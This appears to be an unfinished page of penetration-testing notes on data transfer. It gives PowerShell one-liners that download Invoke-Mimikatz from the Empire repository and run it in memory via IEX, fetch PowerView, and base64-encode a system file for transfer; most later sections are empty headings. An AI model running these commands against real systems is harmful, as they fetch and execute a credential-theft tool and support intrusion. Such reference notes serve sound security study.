Data Transfer

This chapter is in-progress.

Check the index on the right to navigate this page more easily.

Program Upload

(New-Object Net.WebClient).DownloadFile('<Target File URL>','<Output File Name>')
(New-Object Net.WebClient).DownloadFileAsync('<Target File URL>','<Output File Name>')

Using IEX

# Using IEX
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1')
# Pipeline Input
(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1') | IEX

Using Invoke-Webrequest

Invoke-WebRequest https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 -OutFile PowerView.ps1

You can use the aliases iwr, curl, and wget instead of the Invoke-WebRequest full name.

PowerShell Base64 Encode & Decode

[Convert]::ToBase64String((Get-Content -path "C:\Windows\system32\drivers\etc\hosts" -Encoding byte))

Base64 decoding in Linux

Using SMB

Creating the SMB Server

Mounting the SMB Share on Windows

Downloading from SMB Share

Uploading to SMB Share

Using FTP

Installing the FTP Server Python3 Module

Setting up a Python3 FTP Server

Transfering Files from FTP using PowerShell

Create a Command File for the FTP Client and Download the Target File

Uploading Files via Powershell

Evasion Tactics

Last updated